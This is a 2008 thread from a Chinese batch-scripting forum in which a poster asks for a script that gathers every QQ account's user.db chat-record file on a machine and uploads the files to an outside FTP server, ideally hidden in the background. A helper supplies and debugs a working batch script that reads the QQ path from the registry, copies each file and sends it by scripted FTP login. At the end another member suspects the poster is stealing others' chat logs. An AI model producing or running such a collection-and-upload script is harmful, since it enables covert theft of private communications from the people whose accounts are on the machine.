Board logo

标题: [文件操作] 上传FTP时遇到同名的文件如何自动命名 [打印本页]

作者: 897862245a    时间: 2008-9-29 02:23     标题: 上传FTP时遇到同名的文件如何自动命名

大约有4-5个同名的user.db文件,上传到FTP时不知如何让他自动重新命名,希望能重命名为user1.db user2.db  user3.db  user4.db  user5.db依此类推..另外当运行批处理的时候是否可以让这个批处理在后台运行,就如一闪就马上消失在后台运行.

  1. @echo off
  2. echo admin>acc.txt
  3. echo 123456>>acc.txt
  4. echo bin>>acc.txt
  5. for /f "skip=4 tokens=2*" %%a in ('reg query hklm\software\tencent\qq /v install') do set "qqpath=%%b"
  6. for /f "delims=" %%a in ('dir/b/ad "%qqpath%"^|findstr "^[0-9]*$"') do (
  7.      if exist "%qqpath%%%a\user.db" echo put "%qqpath%%%a\user.db">>acc.txt
  8. )
  9. echo bye>>acc.txt
  10. start ftp -v -i -s:acc.txt 202.10.10.10
  11. pause
复制代码

作者: pusofalse    时间: 2008-9-29 13:58

批处理应该做不到,或者我暂时没有思路。请教高人~
作者: 897862245a    时间: 2008-9-29 14:16

我有这样的想法,我把想法说出来你帮我编写一下,在我电脑里一共可以找到以下几个"user.db"put "D:\QQ2008\454739621\user.db"
  1. put "D:\QQ2008\513392207\user.db"
  2. put "D:\QQ2008\625913521\user.db"
  3. put "D:\QQ2008\759985850\user.db"
  4. put "D:\QQ2008\779429377\user.db"
  5. put "D:\QQ2008\826930518\user.db"
  6. put "D:\QQ2008\897862245\user.db"
  7. put "D:\QQ2008\244463068\user.db"
  8. put "D:\QQ2008\85347452\user.db"
  9. put "D:\QQ2008\157353465\user.db"
复制代码

找到后在D盘新建一个文件夹命名为user,然后把user.db复制到user文件夹,同名的自动重命名(这点在本地是有批处理可以做到的),然后命好名后,再把USER整个文件夹上传到FTP空间里,请帮忙编写一下代码,本人实在搞不来,谢谢!
作者: pusofalse    时间: 2008-9-29 15:04

哦。。误解了,还以为是在打开的FTP的命令器外壳中检测是否重名。
  1. @echo off&setlocal enabledelayedexpansion
  2. md tmp 2>nul
  3. echo admin>acc.txt
  4. echo 123456>>acc.txt
  5. echo bin>>acc.txt
  6. for /f "skip=4 tokens=2*" %%a in ('reg query hklm\software\tencent\qq /v install') do set "qqpath=%%b"
  7. for /f "delims=" %%a in ('dir/b/ad "%qqpath%"^|findstr "^[0-9]*$"') do (
  8.      if exist "%qqpath%%%a\user.db" (
  9.         copy "%qqpath%%%a\user.db" tmp\
  10. ))
  11. for /f "delims=" %%a in (dir/b/s tmp\*.db) do (
  12.       set/a n+=1
  13.       ren "%%a" "%%~na!n!%%~xa"
  14.       echo put "%%~dpna!n!%%~xa">>acc.txt
  15. )
  16. echo bye>>acc.txt
  17. start ftp -v -i -s:acc.txt 202.10.10.10
  18. pause
复制代码
试下这样。
作者: 897862245a    时间: 2008-9-29 16:14     标题: 试过了,不行

在桌面生成了一个tmp文件夹,里面装有一个user.db(只复制了其中一个,剩下的没复制进来)
另外桌面也生成了一个acc.txt,j里面内容为99sunclancom
abc779429377
bin
bye
里面并不像以前那样找到USER,DB列表.
另外虽然是找到了一个user.db在tmp文件夹里但是并没有成功上传到FTP里,不知是什么问题,这个问题困扰很久了,还没没办法得到解决!感谢回答者热情的帮助!
作者: pusofalse    时间: 2008-9-29 16:21     标题: 回复 5楼 的帖子

明白问题了。。。copy时出现问题了,没有指定新文件名。
  1. @echo off&setlocal enabledelayedexpansion
  2. md tmp 2>nul
  3. echo admin>acc.txt
  4. echo 123456>>acc.txt
  5. echo bin>>acc.txt
  6. for /f "skip=4 tokens=2*" %%a in ('reg query hklm\software\tencent\qq /v install') do set "qqpath=%%b"
  7. for /f "delims=" %%a in ('dir/b/ad "%qqpath%"^|findstr "^[0-9]*$"') do (
  8.      if exist "%qqpath%%%a\user.db" (
  9.         set/a n+=1
  10.         copy "%qqpath%%%a\user.db" "tmp\user!n!.db"
  11. ))
  12. for /f "delims=" %%a in ('dir/b/s tmp\*.db') do echo put "%%a">>acc.txt
  13. echo bye>>acc.txt
  14. start ftp -v -i -s:acc.txt 202.10.10.10
  15. pause
复制代码

[ 本帖最后由 pusofalse 于 2008-9-29 21:59 编辑 ]
作者: 897862245a    时间: 2008-9-29 21:08

给你FTP账号及密码帮我试试,为什么上传不上去,以短消息形式发给你了,版主的帮忙实在让我感激不尽!
作者: pusofalse    时间: 2008-9-29 21:10

你把生成的acc.txt中的内容贴上来。
作者: 897862245a    时间: 2008-9-29 21:38

99sunclancom
abc779429377
bin
bye
作者: zqz0012005    时间: 2008-9-29 22:21

楼主似乎是想盗取别人的聊天记录?所以一直不愿回复
不好意思




欢迎光临 批处理之家 (http://bathome.net./) Powered by Discuz! 7.2